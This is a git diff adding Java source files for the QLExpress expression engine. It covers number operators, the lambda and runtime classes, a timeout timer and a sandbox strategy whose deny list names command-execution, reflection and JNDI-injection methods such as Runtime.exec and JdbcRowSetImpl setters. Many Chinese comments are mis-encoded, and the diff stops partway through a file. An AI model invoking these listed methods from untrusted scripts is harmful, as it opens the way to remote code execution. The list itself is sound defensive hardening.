00000000..079d043c --- /dev/null +++ b/src/com/ql/util/express/OperatorOfNumber.java @@ -0,0 +1,474 @@ +package com.ql.util.express; + +import java.math.BigDecimal; +import java.math.RoundingMode; + +import com.ql.util.express.exception.QLException; + +/** + * æ•°å­—è¿è¡Œå‡½æ•°é›†åˆ + * + * @author qhlhl2010@gmail.com + */ + +interface NumberType { + int NUMBER_TYPE_BYTE = 1; + int NUMBER_TYPE_SHORT = 2; + int NUMBER_TYPE_INT = 3; + int NUMBER_TYPE_LONG = 4; + int NUMBER_TYPE_FLOAT = 5; + int NUMBER_TYPE_DOUBLE = 6; + int NUMBER_TYPE_BIG_DECIMAL = 7; +} + +public class OperatorOfNumber { + public static final BigDecimal BIG_DECIMAL_LONG_MAX = new BigDecimal(Long.MAX_VALUE); + public static final BigDecimal BIG_DECIMAL_LONG_MIN = new BigDecimal(Long.MIN_VALUE); + public static final BigDecimal BIG_DECIMAL_INTEGER_MAX = new BigDecimal(Integer.MAX_VALUE); + public static final BigDecimal BIG_DECIMAL_INTEGER_MIN = new BigDecimal(Integer.MIN_VALUE); + + //BIG_DECIMAL_COMPARE_LESS + public static final Integer LESS = -1; + //BIG_DECIMAL_COMPARE_MORE + public static final Integer MORE = 1; + + + private OperatorOfNumber() { + throw new IllegalStateException("Utility class"); + } + + public static double round(double v, int scale) { + if (scale < 0) { + throw new IllegalArgumentException("The scale must be a positive integer or zero"); + } + BigDecimal bigDecimal = BigDecimal.valueOf(v); + BigDecimal oneBigDecimal = new BigDecimal("1"); + return bigDecimal.divide(oneBigDecimal, scale, RoundingMode.HALF_UP).doubleValue(); + } + + /** + * 获å–æ•°æ®ç±»åž‹ç²¾åº¦é¡ºåº + * + * @param clazz + * @return + */ + public static int getSeq(Class clazz) { + if (clazz == Byte.class || clazz == byte.class) { + return NumberType.NUMBER_TYPE_BYTE; + } + if (clazz == Short.class || clazz == short.class) { + return NumberType.NUMBER_TYPE_SHORT; + } + if (clazz == Integer.class || clazz == int.class) { + return NumberType.NUMBER_TYPE_INT; + } + if (clazz == Long.class || clazz == long.class) { + return NumberType.NUMBER_TYPE_LONG; + } + if (clazz == Float.class || clazz == float.class) { + return NumberType.NUMBER_TYPE_FLOAT; + } + if (clazz == Double.class || clazz == double.class) { + return NumberType.NUMBER_TYPE_DOUBLE; + } + if (clazz == BigDecimal.class) { + return NumberType.NUMBER_TYPE_BIG_DECIMAL; + } + throw new RuntimeException("ä¸èƒ½å¤„ç†çš„æ•°æ®ç±»åž‹ï¼š" + clazz.getName()); + } + + /** + * 进行数æ®ç±»åž‹è½¬æ¢ + * + * @param value + * @param type + * @return + */ + public static Number transfer(Number value, Class type, boolean isForce) { + if (isForce || !(value instanceof BigDecimal)) { + if (type.equals(byte.class) || type.equals(Byte.class)) { + return value.byteValue(); + } else if (type.equals(short.class) || type.equals(Short.class)) { + return value.shortValue(); + } else if (type.equals(int.class) || type.equals(Integer.class)) { + return value.intValue(); + } else if (type.equals(long.class) || type.equals(Long.class)) { + return value.longValue(); + } else if (type.equals(float.class) || type.equals(Float.class)) { + return value.floatValue(); + } else if (type.equals(double.class) || type.equals(Double.class)) { + return value.doubleValue(); + } else if (type.equals(BigDecimal.class)) { + return new BigDecimal(value.toString()); + } else { + throw new RuntimeException("没有处ç†çš„æ•°æ®ç±»åž‹ï¼š" + type.getName()); + } + } else { + if (type.equals(byte.class) || type.equals(Byte.class)) { + if (((BigDecimal)value).scale() > 0) { + throw new RuntimeException("有å°æ•°ä½ï¼Œä¸èƒ½è½¬åŒ–为:" + type.getName()); + } + return value.byteValue(); + } else if (type.equals(short.class) || type.equals(Short.class)) { + if (((BigDecimal)value).scale() > 0) { + throw new RuntimeException("有å°æ•°ä½ï¼Œä¸èƒ½è½¬åŒ–为:" + type.getName()); + } + return value.shortValue(); + } else if (type.equals(int.class) || type.equals(Integer.class)) { + if (((BigDecimal)value).scale() > 0) { + throw new RuntimeException("有å°æ•°ä½ï¼Œä¸èƒ½è½¬åŒ–为:" + type.getName()); + } + return value.intValue(); + } else if (type.equals(long.class) || type.equals(Long.class)) { + if (((BigDecimal)value).scale() > 0) { + throw new RuntimeException("有å°æ•°ä½ï¼Œä¸èƒ½è½¬åŒ–为:" + type.getName()); + } + return value.longValue(); + } else if (type.equals(float.class) || type.equals(Float.class)) { + return value.floatValue(); + } else if (type.equals(double.class) || type.equals(Double.class)) { + return value.doubleValue(); + } else { + throw new RuntimeException("没有处ç†çš„æ•°æ®ç±»åž‹ï¼š" + type.getName()); + } + } + } + + public static int compareNumber(Number op1, Number op2) { + int type1 = OperatorOfNumber.getSeq(op1.getClass()); + int type2 = OperatorOfNumber.getSeq(op2.getClass()); + int type = Math.max(type1, type2); + if (type == 1) { + byte o1 = op1.byteValue(); + byte o2 = op2.byteValue(); + return Byte.compare(o1, o2); + } + if (type == 2) { + short o1 = op1.shortValue(); + short o2 = op2.shortValue(); + return Short.compare(o1, o2); + } + if (type == 3) { + int o1 = op1.intValue(); + int o2 = op2.intValue(); + return Integer.compare(o1, o2); + } + if (type == 4) { + long o1 = op1.longValue(); + long o2 = op2.longValue(); + return Long.compare(o1, o2); + } + if (type == 5) { + float o1 = op1.floatValue(); + float o2 = op2.floatValue(); + return Float.compare(o1, o2); + } + if (type == 6) { + double o1 = op1.doubleValue(); + double o2 = op2.doubleValue(); + return Double.compare(o1, o2); + } + if (type == 7) { + BigDecimal o1 = new BigDecimal(op1.toString()); + BigDecimal o2 = new BigDecimal(op2.toString()); + return o1.compareTo(o2); + } + throw new RuntimeException("比较æ“作错误:op1=" + op1 + ",op2=" + op2); + } + + public static Object add(Object op1, Object op2, boolean isPrecise) throws Exception { + if (op1 == null) { + op1 = "null"; + } + if (op2 == null) { + op2 = "null"; + } + if (op1 instanceof String || op2 instanceof String) { + return op1.toString() + op2; + } + if (isPrecise) { + return PreciseNumberOperator.addPrecise((Number)op1, (Number)op2); + } else { + return NormalNumberOperator.addNormal((Number)op1, (Number)op2); + } + } + + public static Number subtract(Object op1, Object op2, boolean isPrecise) throws Exception { + if (isPrecise) { + return PreciseNumberOperator.subtractPrecise((Number)op1, (Number)op2); + } else { + return NormalNumberOperator.subtractNormal((Number)op1, (Number)op2); + } + } + + public static Number multiply(Object op1, Object op2, boolean isPrecise) throws Exception { + if (isPrecise) { + return PreciseNumberOperator.multiplyPrecise((Number)op1, (Number)op2); + } else { + return NormalNumberOperator.multiplyNormal((Number)op1, (Number)op2); + } + } + + public static Number divide(Object op1, Object op2, boolean isPrecise) throws Exception { + if (isPrecise) { + return PreciseNumberOperator.dividePrecise((Number)op1, (Number)op2); + } else { + return NormalNumberOperator.divideNormal((Number)op1, (Number)op2); + } + } + + public static Object modulo(Object op1, Object op2) throws Exception { + return NormalNumberOperator.moduloNormal((Number)op1, (Number)op2); + } +} + +class NormalNumberOperator { + private NormalNumberOperator() { + throw new IllegalStateException("Utility class"); + } + + /** + * 普通的加法è¿ç®— + * + * @param op1 + * @param op2 + * @return + * @throws Exception + */ + public static Number addNormal(Number op1, Number op2) throws Exception { + int type1 = OperatorOfNumber.getSeq(op1.getClass()); + int type2 = OperatorOfNumber.getSeq(op2.getClass()); + int type = Math.max(type1, type2); + if (type == NumberType.NUMBER_TYPE_BYTE) { + return op1.byteValue() + op2.byteValue(); + } + if (type == NumberType.NUMBER_TYPE_SHORT) { + return op1.shortValue() + op2.shortValue(); + } + if (type == NumberType.NUMBER_TYPE_INT) { + return op1.intValue() + op2.intValue(); + } + if (type == NumberType.NUMBER_TYPE_LONG) { + return op1.longValue() + op2.longValue(); + } + if (type == NumberType.NUMBER_TYPE_FLOAT) { + return op1.floatValue() + op2.floatValue(); + } + if (type == NumberType.NUMBER_TYPE_DOUBLE) { + return op1.doubleValue() + op2.doubleValue(); + } + if (type == NumberType.NUMBER_TYPE_BIG_DECIMAL) { + return new BigDecimal(op1.toString()).add(new BigDecimal(op2.toString())); + } + throw new QLException("ä¸æ”¯æŒçš„对象执行了\"+\"æ“作"); + } + + public static Number subtractNormal(Number op1, Number op2) throws Exception { + int type1 = OperatorOfNumber.getSeq(op1.getClass()); + int type2 = OperatorOfNumber.getSeq(op2.getClass()); + int type = Math.max(type1, type2); + if (type == NumberType.NUMBER_TYPE_BYTE) { + return op1.byteValue() - op2.byteValue(); + } + if (type == NumberType.NUMBER_TYPE_SHORT) { + return op1.shortValue() - op2.shortValue(); + } + if (type == NumberType.NUMBER_TYPE_INT) { + return op1.intValue() - op2.intValue(); + } + if (type == NumberType.NUMBER_TYPE_LONG) { + return op1.longValue() - op2.longValue(); + } + if (type == NumberType.NUMBER_TYPE_FLOAT) { + return op1.floatValue() - op2.floatValue(); + } + if (type == NumberType.NUMBER_TYPE_DOUBLE) { + return op1.doubleValue() - op2.doubleValue(); + } + if (type == NumberType.NUMBER_TYPE_BIG_DECIMAL) { + return new BigDecimal(op1.toString()).subtract(new BigDecimal(op2.toString())); + } + throw new QLException("ä¸æ”¯æŒçš„对象执行了\"-\"æ“作"); + } + + public static Number multiplyNormal(Number op1, Number op2) throws Exception { + int type1 = OperatorOfNumber.getSeq(op1.getClass()); + int type2 = OperatorOfNumber.getSeq(op2.getClass()); + int type = Math.max(type1, type2); + if (type == NumberType.NUMBER_TYPE_BYTE) { + return op1.byteValue() * op2.byteValue(); + } + if (type == NumberType.NUMBER_TYPE_SHORT) { + return op1.shortValue() * op2.shortValue(); + } + if (type == NumberType.NUMBER_TYPE_INT) { + return op1.intValue() * op2.intValue(); + } + if (type == NumberType.NUMBER_TYPE_LONG) { + return op1.longValue() * op2.longValue(); + } + if (type == NumberType.NUMBER_TYPE_FLOAT) { + return op1.floatValue() * op2.floatValue(); + } + if (type == NumberType.NUMBER_TYPE_DOUBLE) { + return op1.doubleValue() * op2.doubleValue(); + } + if (type == NumberType.NUMBER_TYPE_BIG_DECIMAL) { + return new BigDecimal(op1.toString()).multiply(new BigDecimal(op2.toString())); + } + throw new QLException("ä¸æ”¯æŒçš„对象执行了\"*\"æ“作"); + } + + public static Number divideNormal(Number op1, Number op2) throws Exception { + int type1 = OperatorOfNumber.getSeq(op1.getClass()); + int type2 = OperatorOfNumber.getSeq(op2.getClass()); + int type = Math.max(type1, type2); + if (type == NumberType.NUMBER_TYPE_BYTE) { + return op1.byteValue() / op2.byteValue(); + } + if (type == NumberType.NUMBER_TYPE_SHORT) { + return op1.shortValue() / op2.shortValue(); + } + if (type == NumberType.NUMBER_TYPE_INT) { + return op1.intValue() / op2.intValue(); + } + if (type == NumberType.NUMBER_TYPE_LONG) { + return op1.longValue() / op2.longValue(); + } + if (type == NumberType.NUMBER_TYPE_FLOAT) { + return op1.floatValue() / op2.floatValue(); + } + if (type == NumberType.NUMBER_TYPE_DOUBLE) { + return op1.doubleValue() / op2.doubleValue(); + } + if (type == NumberType.NUMBER_TYPE_BIG_DECIMAL) { + return new BigDecimal(op1.toString()).divide(new BigDecimal(op2.toString()), BigDecimal.ROUND_HALF_UP); + } + throw new QLException("ä¸æ”¯æŒçš„对象执行了\"/\"æ“作"); + } + + public static Number moduloNormal(Number op1, Number op2) throws Exception { + int type1 = OperatorOfNumber.getSeq(op1.getClass()); + int type2 = OperatorOfNumber.getSeq(op2.getClass()); + int type = Math.max(type1, type2); + if (type == NumberType.NUMBER_TYPE_BYTE) { + return op1.byteValue() % op2.byteValue(); + } + if (type == NumberType.NUMBER_TYPE_SHORT) { + return op1.shortValue() % op2.shortValue(); + } + if (type == NumberType.NUMBER_TYPE_INT) { + return op1.intValue() % op2.intValue(); + } + if (type == NumberType.NUMBER_TYPE_LONG) { + return op1.longValue() % op2.longValue(); + } + throw new QLException("ä¸æ”¯æŒçš„对象执行了\"mod\"æ“作"); + } +} + +/** + * 高精度计算 + * + * @author xuannan + */ +class PreciseNumberOperator { + public static final int DIVIDE_PRECISION = 10; + + private PreciseNumberOperator() { + throw new IllegalStateException("Utility class"); + } + + public static Number addPrecise(Number op1, Number op2) { + BigDecimal result; + if (op1 instanceof BigDecimal) { + if (op2 instanceof BigDecimal) { + result = ((BigDecimal)op1).add((BigDecimal)op2); + } else { + result = ((BigDecimal)op1).add(new BigDecimal(op2.toString())); + } + } else { + if (op2 instanceof BigDecimal) { + result = new BigDecimal(op1.toString()).add((BigDecimal)op2); + } else { + result = new BigDecimal(op1.toString()).add(new BigDecimal(op2.toString())); + } + } + return basicNumberFormatTransfer(result); + } + + public static Number subtractPrecise(Number op1, Number op2) { + BigDecimal result; + if (op1 instanceof BigDecimal) { + if (op2 instanceof BigDecimal) { + result = ((BigDecimal)op1).subtract((BigDecimal)op2); + } else { + result = ((BigDecimal)op1).subtract(new BigDecimal(op2.toString())); + } + } else { + if (op2 instanceof BigDecimal) { + result = new BigDecimal(op1.toString()).subtract((BigDecimal)op2); + } else { + result = new BigDecimal(op1.toString()).subtract(new BigDecimal(op2.toString())); + } + } + return basicNumberFormatTransfer(result); + } + + public static Number multiplyPrecise(Number op1, Number op2) { + BigDecimal result; + if (op1 instanceof BigDecimal) { + if (op2 instanceof BigDecimal) { + result = ((BigDecimal)op1).multiply((BigDecimal)op2); + } else { + result = ((BigDecimal)op1).multiply(new BigDecimal(op2.toString())); + } + } else { + if (op2 instanceof BigDecimal) { + result = new BigDecimal(op1.toString()).multiply((BigDecimal)op2); + } else { + result = new BigDecimal(op1.toString()).multiply(new BigDecimal(op2.toString())); + } + } + return basicNumberFormatTransfer(result); + } + + public static Number dividePrecise(Number op1, Number op2) { + BigDecimal result; + if (op1 instanceof BigDecimal) { + if (op2 instanceof BigDecimal) { + result = ((BigDecimal)op1).divide((BigDecimal)op2, DIVIDE_PRECISION, RoundingMode.HALF_UP); + } else { + result = ((BigDecimal)op1).divide(new BigDecimal(op2.toString()), DIVIDE_PRECISION, + RoundingMode.HALF_UP); + } + } else { + if (op2 instanceof BigDecimal) { + result = new BigDecimal(op1.toString()).divide((BigDecimal)op2, DIVIDE_PRECISION, + RoundingMode.HALF_UP); + } else { + result = new BigDecimal(op1.toString()).divide(new BigDecimal(op2.toString()), DIVIDE_PRECISION, + RoundingMode.HALF_UP); + } + } + return basicNumberFormatTransfer(result); + } + + /** + * æ ¼å¼è½¬åŒ–通用 + * @param number + * @return + */ + protected static Number basicNumberFormatTransfer(BigDecimal number){ + if (number.scale() == 0) { + if(number.compareTo(OperatorOfNumber.BIG_DECIMAL_INTEGER_MAX) < OperatorOfNumber.MORE + && number.compareTo(OperatorOfNumber.BIG_DECIMAL_INTEGER_MIN) > OperatorOfNumber.LESS){ + return number.intValue(); + }else if(number.compareTo(OperatorOfNumber.BIG_DECIMAL_LONG_MAX) < OperatorOfNumber.MORE + && number.compareTo(OperatorOfNumber.BIG_DECIMAL_LONG_MIN) > OperatorOfNumber.LESS){ + return number.longValue(); + } + } + return number; + } +} diff --git a/src/com/ql/util/express/QLambda.java b/src/com/ql/util/express/QLambda.java new file mode 100644 index 00000000..49b6153f --- /dev/null +++ b/src/com/ql/util/express/QLambda.java @@ -0,0 +1,70 @@ +package com.ql.util.express; + +import java.util.List; + +import com.ql.util.express.instruction.OperateDataCacheManager; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; + +/** + * 代表一个 lambda è¡¨è¾¾å¼ + */ +public class QLambda { + + private final InstructionSet functionSet; + + private final RunEnvironment environment; + + private final List errorList; + + public QLambda(InstructionSet functionSet, RunEnvironment environment, List errorList) { + this.functionSet = functionSet; + this.environment = environment; + this.errorList = errorList; + } + + public Object call(Object... params) throws Exception { + InstructionSetContext context = OperateDataCacheManager.fetchInstructionSetContext( + true, environment.getContext().getExpressRunner(), environment.getContext(), + environment.getContext().getExpressLoader(), environment.getContext().isSupportDynamicFieldName()); + OperateDataLocalVar[] vars = functionSet.getParameters(); + for (int i = 0; i < vars.length; i++) { + OperateDataLocalVar operateDataLocalVar = OperateDataCacheManager.fetchOperateDataLocalVar( + vars[i].getName(), + params.length <= i ? Object.class : params[i] == null ? Object.class : params[i].getClass()); + context.addSymbol(operateDataLocalVar.getName(), operateDataLocalVar); + operateDataLocalVar.setObject(context, params.length > i ? params[i] : null); + } + + return InstructionSetRunner.execute(functionSet, context, errorList, environment.isTrace(), false, true); + } + + /** + * 为了用起æ¥æ›´åƒ java çš„ lambda 表达å¼è€Œå¢žåŠ é¢å¤–的一些方法 + */ + public void run() throws Exception { + call(); + } + + /** + * Consumer + * BiConsumer + */ + public void accept(Object... params) throws Exception { + call(params); + } + + /** + * Function + * BiFunction + */ + public Object apply(Object... params) throws Exception { + return call(params); + } + + /** + * Supplier + */ + public Object get() throws Exception { + return call(); + } +} diff --git a/src/com/ql/util/express/QLambdaInvocationHandler.java b/src/com/ql/util/express/QLambdaInvocationHandler.java new file mode 100644 index 00000000..71f0a512 --- /dev/null +++ b/src/com/ql/util/express/QLambdaInvocationHandler.java @@ -0,0 +1,20 @@ +package com.ql.util.express; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; + +public class QLambdaInvocationHandler implements InvocationHandler { + private final QLambda qLambda; + + public QLambdaInvocationHandler(QLambda qLambda) { + this.qLambda = qLambda; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + return Modifier.isAbstract(method.getModifiers()) ? qLambda.call(args) : + // 为了应对 toString 方法 + method.getReturnType() == String.class ? "QLambdaProxy" : null; + } +} diff --git a/src/com/ql/util/express/RunEnvironment.java b/src/com/ql/util/express/RunEnvironment.java new file mode 100644 index 00000000..cf740bc2 --- /dev/null +++ b/src/com/ql/util/express/RunEnvironment.java @@ -0,0 +1,153 @@ +package com.ql.util.express; + +public final class RunEnvironment { + private static final int INIT_DATA_LENGTH = 15; + private boolean isTrace; + private int point = -1; + int programPoint = 0; + private OperateData[] dataContainer; + private final ArraySwap arraySwap = new ArraySwap(); + + private boolean isExit = false; + private Object returnValue = null; + + private InstructionSet instructionSet; + private InstructionSetContext context; + + public RunEnvironment(InstructionSet instructionSet, InstructionSetContext instructionSetContext, boolean isTrace) { + dataContainer = new OperateData[INIT_DATA_LENGTH]; + this.instructionSet = instructionSet; + this.context = instructionSetContext; + this.isTrace = isTrace; + } + + public void initial(InstructionSet instructionSet, InstructionSetContext instructionSetContext, boolean isTrace) { + this.instructionSet = instructionSet; + this.context = instructionSetContext; + this.isTrace = isTrace; + } + + public void clear() { + isTrace = false; + point = -1; + programPoint = 0; + + isExit = false; + returnValue = null; + + instructionSet = null; + context = null; + } + + public InstructionSet getInstructionSet() { + return instructionSet; + } + + public InstructionSetContext getContext() { + return this.context; + } + + public void setContext(InstructionSetContext instructionSetContext) { + this.context = instructionSetContext; + } + + public boolean isExit() { + return isExit; + } + + public Object getReturnValue() { + return returnValue; + } + + public void setReturnValue(Object value) { + this.returnValue = value; + } + + public void quitExpress(Object returnValue) { + this.isExit = true; + this.returnValue = returnValue; + } + + public void quitExpress() { + this.isExit = true; + this.returnValue = null; + } + + public boolean isTrace() { + return this.isTrace; + } + + public int getProgramPoint() { + return programPoint; + } + + public void programPointAddOne() { + programPoint++; + } + + public void gotoLastWhenReturn() { + programPoint = this.instructionSet.getInstructionLength(); + } + + public int getDataStackSize() { + return this.point + 1; + } + + public void push(OperateData data) { + this.point++; + if (this.point >= this.dataContainer.length) { + ensureCapacity(this.point + 1); + } + this.dataContainer[point] = data; + } + + public OperateData peek() { + if (point < 0) { + throw new RuntimeException("系统异常,堆栈指针错误"); + } + return this.dataContainer[point]; + } + + public OperateData pop() { + if (point < 0) { + throw new RuntimeException("系统异常,堆栈指针错误"); + } + OperateData result = this.dataContainer[point]; + this.point--; + return result; + } + + public void clearDataStack() { + this.point = -1; + } + + public void gotoWithOffset(int offset) { + this.programPoint = this.programPoint + offset; + } + + /** + * 此方法是调用最频ç¹çš„,因此尽é‡ç²¾ç®€ä»£ç ï¼Œæ高效率 + * + * @param len + * @return + */ + public ArraySwap popArray(int len) { + int start = point - len + 1; + this.arraySwap.swap(this.dataContainer, start, len); + point = point - len; + return this.arraySwap; + } + + public void ensureCapacity(int minCapacity) { + int oldCapacity = this.dataContainer.length; + if (minCapacity > oldCapacity) { + int newCapacity = (oldCapacity * 3) / 2 + 1; + if (newCapacity < minCapacity) { + newCapacity = minCapacity; + } + OperateData[] tempList = new OperateData[newCapacity]; + System.arraycopy(this.dataContainer, 0, tempList, 0, oldCapacity); + this.dataContainer = tempList; + } + } +} diff --git a/src/com/ql/util/express/annotation/QLAlias.java b/src/com/ql/util/express/annotation/QLAlias.java new file mode 100644 index 00000000..9a5ab0e8 --- /dev/null +++ b/src/com/ql/util/express/annotation/QLAlias.java @@ -0,0 +1,21 @@ +package com.ql.util.express.annotation; + +import java.lang.annotation.Inherited; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; +import static java.lang.annotation.ElementType.TYPE; + +@Inherited +@Target({TYPE, FIELD, METHOD, PARAMETER}) +@Retention(RetentionPolicy.RUNTIME) +public @interface QLAlias { + /** + * 注解内容 + */ + String[] value(); +} diff --git a/src/com/ql/util/express/config/QLExpressRunStrategy.java b/src/com/ql/util/express/config/QLExpressRunStrategy.java new file mode 100644 index 00000000..2738afa4 --- /dev/null +++ b/src/com/ql/util/express/config/QLExpressRunStrategy.java @@ -0,0 +1,199 @@ +package com.ql.util.express.config; + +import java.lang.reflect.Method; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import com.ql.util.express.config.whitelist.WhiteChecker; +import com.ql.util.express.exception.QLSecurityRiskException; + +/** + * ExpressRunner设置全局生效的é…置,直接使用é™æ€æ–¹æ³•æŽ§åˆ¶ + */ +public class QLExpressRunStrategy { + /** + * 沙箱模å¼å¼€å…³ + */ + private static boolean sandboxMode = false; + /** + * 编译期类型白åå• + * null 表示ä¸è¿›è¡Œæ ¡éªŒ + * 如果编译时å‘现引用了白åå•ä¹‹å¤–çš„ç±», 就会抛出异常 + */ + private static List compileWhiteCheckerList = null; + + /** + * 预防空指针 + */ + private static boolean avoidNullPointer = false; + + /** + * 当空对象进行大å°æ¯”较时,返回false, 例如 1 > null å’Œ null > 1都返回false + */ + private static boolean compareNullLessMoreAsFalse = false; + + private static ClassLoader customClassLoader = null; + + /** + * ç¦æ­¢è°ƒç”¨ä¸å®‰å…¨çš„方法 + */ + private static boolean forbidInvokeSecurityRiskMethods = false; + + /** + * 黑åå•æŽ§åˆ¶ + */ + private static final Set SECURITY_RISK_METHOD_LIST = new HashSet<>(); + + /** + * 白åå•æŽ§åˆ¶ + */ + private static Set SECURE_METHOD_LIST = new HashSet<>(); + + /** + * 最大申请的数组大å°, 默认没有é™åˆ¶ + * 防止用户一次性申请过多的内存 + * -1 表示没有é™åˆ¶ + */ + private static int maxArrLength = -1; + + static { + // 系统退出 + SECURITY_RISK_METHOD_LIST.add(System.class.getName() + "." + "exit"); + + // è¿è¡Œè„šæœ¬å‘½ä»¤ + SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec"); + SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start"); + + // å射相关 + SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke"); + SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName"); + SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass"); + SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass"); + SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass"); + SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader"); + + // jndi 相关 + SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup"); + SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName"); + SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit"); + + SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create"); + SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName"); + SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup"); + + // QLE QLExpressRunStrategy的所有方法 + for (Method method : QLExpressRunStrategy.class.getMethods()) { + SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName()); + } + } + + private QLExpressRunStrategy() { + throw new IllegalStateException("Utility class"); + } + + public static void setSandBoxMode(boolean sandboxMode) { + QLExpressRunStrategy.sandboxMode = sandboxMode; + } + + public static boolean isSandboxMode() { + return sandboxMode; + } + + public static boolean isCompareNullLessMoreAsFalse() { + return compareNullLessMoreAsFalse; + } + + public static void setCompareNullLessMoreAsFalse(boolean compareNullLessMoreAsFalse) { + QLExpressRunStrategy.compareNullLessMoreAsFalse = compareNullLessMoreAsFalse; + } + + public static boolean isAvoidNullPointer() { + return avoidNullPointer; + } + + public static void setAvoidNullPointer(boolean avoidNullPointer) { + QLExpressRunStrategy.avoidNullPointer = avoidNullPointer; + } + + public static ClassLoader getCustomClassLoader() { + return customClassLoader; + } + + public static void setCustomClassLoader(ClassLoader customClassLoader) { + QLExpressRunStrategy.customClassLoader = customClassLoader; + } + + public static boolean isForbidInvokeSecurityRiskMethods() { + return forbidInvokeSecurityRiskMethods; + } + + public static void setForbidInvokeSecurityRiskMethods(boolean forbidInvokeSecurityRiskMethods) { + QLExpressRunStrategy.forbidInvokeSecurityRiskMethods = forbidInvokeSecurityRiskMethods; + } + + /** + * TODO 未考虑方法é‡è½½çš„场景 + * + * @param clazz + * @param methodName + */ + public static void addSecurityRiskMethod(Class clazz, String methodName) { + QLExpressRunStrategy.SECURITY_RISK_METHOD_LIST.add(clazz.getName() + "." + methodName); + } + + public static void setSecureMethods(Set secureMethods) { + SECURE_METHOD_LIST = secureMethods; + } + + public static void addSecureMethod(Class clazz, String methodName) { + SECURE_METHOD_LIST.add(clazz.getName() + "." + methodName); + } + + public static void assertSecurityRiskMethod(Method method) throws QLSecurityRiskException { + if (!forbidInvokeSecurityRiskMethods || method == null) { + return; + } + + String fullMethodName = method.getDeclaringClass().getName() + "." + method.getName(); + if (SECURE_METHOD_LIST != null && !SECURE_METHOD_LIST.isEmpty()) { + // 有白åå•é…置时则黑åå•å¤±æ•ˆ + if (!SECURE_METHOD_LIST.contains(fullMethodName)) { + throw new QLSecurityRiskException("使用QLExpress调用了ä¸å®‰å…¨çš„系统方法:" + method); + } + return; + } + + if (SECURITY_RISK_METHOD_LIST.contains(fullMethodName)) { + throw new QLSecurityRiskException("使用QLExpress调用了ä¸å®‰å…¨çš„系统方法:" + method); + } + } + + /** + * @param clazz + * @return true 表示ä½äºŽç™½åå•ä¸­, false 表示ä¸åœ¨ç™½åå•ä¸­ + */ + public static boolean checkWhiteClassList(Class clazz) { + if (compileWhiteCheckerList == null) { + return true; + } + for (WhiteChecker whiteChecker : compileWhiteCheckerList) { + if (whiteChecker.check(clazz)) { + return true; + } + } + return false; + } + + public static void setCompileWhiteCheckerList(List compileWhiteCheckerList) { + QLExpressRunStrategy.compileWhiteCheckerList = compileWhiteCheckerList; + } + + public static void setMaxArrLength(int maxArrLength) { + QLExpressRunStrategy.maxArrLength = maxArrLength; + } + + public static boolean checkArrLength(int arrLen) { + return QLExpressRunStrategy.maxArrLength == -1 || arrLen <= QLExpressRunStrategy.maxArrLength; + } +} diff --git a/src/com/ql/util/express/config/QLExpressTimer.java b/src/com/ql/util/express/config/QLExpressTimer.java new file mode 100644 index 00000000..b5eeb39f --- /dev/null +++ b/src/com/ql/util/express/config/QLExpressTimer.java @@ -0,0 +1,63 @@ +package com.ql.util.express.config; + +import com.ql.util.express.exception.QLTimeoutException; + +/** + * @author tianqiao@taobao.com + * @since 2019/6/17 4:12 PM + */ +public class QLExpressTimer { + private static final ThreadLocal NEED_TIMER = ThreadLocal.withInitial(() -> false); + private static final ThreadLocal TIME_OUT_MILLIS = new ThreadLocal() {}; + private static final ThreadLocal START_TIME = new ThreadLocal() {}; + private static final ThreadLocal END_TIME = new ThreadLocal() {}; + + private QLExpressTimer() { + throw new IllegalStateException("Utility class"); + } + + /** + * 设置超时时间 + * + * @param timeoutMillis 超时时间 + */ + public static void setTimer(long timeoutMillis) { + NEED_TIMER.set(true); + TIME_OUT_MILLIS.set(timeoutMillis); + } + + /** + * 开始计时 + */ + public static void startTimer() { + if (NEED_TIMER.get()) { + long currentTimeMillis = System.currentTimeMillis(); + START_TIME.set(currentTimeMillis); + END_TIME.set(currentTimeMillis + TIME_OUT_MILLIS.get()); + } + } + + /** + * 断言是å¦è¶…æ—¶ + * + * @throws QLTimeoutException + */ + public static void assertTimeOut() throws QLTimeoutException { + if (NEED_TIMER.get() && System.currentTimeMillis() > END_TIME.get()) { + throw new QLTimeoutException("è¿è¡ŒQLExpress脚本的下一æ¡æŒ‡ä»¤å°†è¶…过é™å®šæ—¶é—´:" + TIME_OUT_MILLIS.get() + "ms"); + } + } + + public static boolean hasExpired() { + return NEED_TIMER.get() && System.currentTimeMillis() > END_TIME.get(); + } + + public static void reset() { + if (NEED_TIMER.get()) { + START_TIME.remove(); + END_TIME.remove(); + NEED_TIMER.remove(); + TIME_OUT_MILLIS.remove(); + } + } +} diff --git a/src/com/ql/util/express/config/whitelist/AssignableChecker.java b/src/com/ql/util/express/config/whitelist/AssignableChecker.java new file mode 100644 index 00000000..c7101f82 --- /dev/null +++ b/src/com/ql/util/express/config/whitelist/AssignableChecker.java @@ -0,0 +1,14 @@ +package com.ql.util.express.config.whitelist; + +public class AssignableChecker implements WhiteChecker { + private final Class whiteClazz; + + public AssignableChecker(Class whiteClazz) { 